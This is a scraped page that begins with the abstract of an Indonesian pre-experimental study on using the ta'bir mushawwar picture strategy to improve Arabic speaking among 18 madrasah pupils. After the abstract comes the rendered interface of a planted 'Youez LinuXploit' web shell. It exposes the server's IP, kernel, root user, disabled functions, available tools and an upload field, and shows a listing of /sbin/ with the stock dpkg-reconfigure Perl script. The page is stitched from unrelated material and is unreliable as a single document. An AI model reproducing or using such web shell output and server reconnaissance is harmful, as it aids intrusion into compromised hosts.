Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Keywords:
Arabic; speaking skill; ta’bir mushawwar
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
| Server IP : 103.175.217.176 / Your IP : 3.141.32.53 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /sbin/ |
Upload File : |
#!/usr/bin/perl -w
# This file was preprocessed, do not edit!
if (exists $ENV{DEBCONF_USE_CDEBCONF} and $ENV{DEBCONF_USE_CDEBCONF} ne '') {
exec "/usr/lib/cdebconf/dpkg-reconfigure", @ARGV;
}
use strict;
use Cwd;
use Debconf::Db;
use Debconf::Gettext;
use Debconf::Template;
use Debconf::Config;
use Debconf::AutoSelect qw(:all);
use Debconf::Log qw(:all);
Debconf::Config->priority('low');
my $unseen_only=0;
my $force=0;
my $default_priority=0;
my $reload=1;
Debconf::Config->getopt(
gettext(qq{Usage: dpkg-reconfigure [options] packages
-u, --unseen-only Show only not yet seen questions.
--default-priority Use default priority instead of low.
--force Force reconfiguration of broken packages.
--no-reload Do not reload templates. (Use with caution.)}),
"unseen-only|u" => \$unseen_only,
"default-priority" => \$default_priority,
"force" => \$force,
"reload!" => \$reload,
);
if ($> != 0) {
print STDERR sprintf(gettext("%s must be run as root"), $0)."\n";
exit 1;
}
Debconf::Db->load;
if ($default_priority) {
Debconf::Config->priority(Debconf::Question->get('debconf/priority')->value);
}
if (lc Debconf::Config->frontend eq 'noninteractive' &&
! Debconf::Config->frontend_forced) {
Debconf::Config->frontend('dialog');
}
my $frontend=make_frontend();
unless ($unseen_only) {
Debconf::Config->reshow(1);
}
my @packages=@ARGV;
if (! @packages) {
print STDERR "$0: ".gettext("please specify a package to reconfigure")."\n";
exit 1;
}
$ENV{DEBCONF_RECONFIGURE}=1;
my %initial_triggers=map { $_ => 1 } triggers_pending();
my $original_cwd=getcwd();
foreach my $pkg (@packages) {
$frontend->default_title($pkg);
$frontend->info(undef);
$_=`dpkg --status $pkg`;
my ($version)=m/Version: (.*)\n/;
my ($status)=m/Status: (.*)\n/;
my ($package)=m/Package: (.*)\n/;
my ($arch)=m/Architecture: (.*)\n/;
if (! $force) {
if (! defined $status || $status =~ m/not-installed$/) {
print STDERR "$0: ".sprintf(gettext("%s is not installed"), $pkg)."\n";
exit 1;
}
if ($status !~ m/ ok installed$/) {
print STDERR "$0: ".sprintf(gettext("%s is broken or not fully installed"), $pkg)."\n";
exit 1;
}
}
my @control_paths=`dpkg-query --control-path $pkg`;
map chomp, @control_paths;
my $control_path = sub {
my $file = shift;
my $path = (grep /\.\Q$file\E$/, @control_paths)[0];
chomp($path) if defined $path;
return $path;
};
if ($reload) {
my $templates=$control_path->('templates');
if ($templates and -e $templates) {
Debconf::Template->load($templates, $pkg);
}
}
foreach my $info (['prerm', 'upgrade', $version],
['config', 'reconfigure', $version],
['postinst', 'configure', $version]) {
my $script=shift @$info;
my $path_script=$control_path->($script);
next unless $path_script and -x $path_script;
my $is_confmodule='';
$ENV{DPKG_MAINTSCRIPT_PACKAGE}=$package;
$ENV{DPKG_MAINTSCRIPT_ARCH}=$arch;
$ENV{DPKG_MAINTSCRIPT_NAME}=$script;
if ($script ne 'config') {
open (IN, "<$path_script");
while (<IN>) {
if (/confmodule/i) {
$is_confmodule=1;
last;
}
}
close IN;
}
chdir('/');
if ($script eq 'config' || $is_confmodule) {
my $confmodule=make_confmodule($path_script, @$info);
$confmodule->owner($pkg);
1 while ($confmodule->communicate);
exit $confmodule->exitcode if $confmodule->exitcode > 0;
}
else {
run_external($path_script, @$info);
}
chdir($original_cwd);
}
}
my @new_triggers;
do {
@new_triggers=();
foreach my $trigpend (triggers_pending()) {
push @new_triggers, $trigpend
if not exists $initial_triggers{$trigpend};
}
if (@new_triggers) {
chdir('/');
run_external("dpkg", "--configure", @new_triggers);
chdir($original_cwd);
}
} while (@new_triggers);
$frontend->shutdown;
Debconf::Db->save;
sub run_external {
Debconf::Db->save;
delete $ENV{DEBIAN_HAS_FRONTEND};
my $ret=system(@_);
if (int($ret / 256) != 0) {
exit int($ret / 256);
}
$ENV{DEBIAN_HAS_FRONTEND}=1;
Debconf::Db->load;
}
sub triggers_pending {
my @ret;
local $_;
open (QUERY, '-|', 'dpkg-query', '-W',
'-f', '${Package} ${binary:Package}\t${Triggers-Pending}\n');
while (<QUERY>) {
chomp;
my ($pkgnames, $triggers) = split /\t/;
if (length $triggers) {
my ($pkg, $binpkg) = split ' ', $pkgnames;
push @ret, (length $binpkg ? $binpkg : $pkg);
}
}
close QUERY;
return @ret;
}
Youez - 2016 - github.com/yon3zu
LinuXploit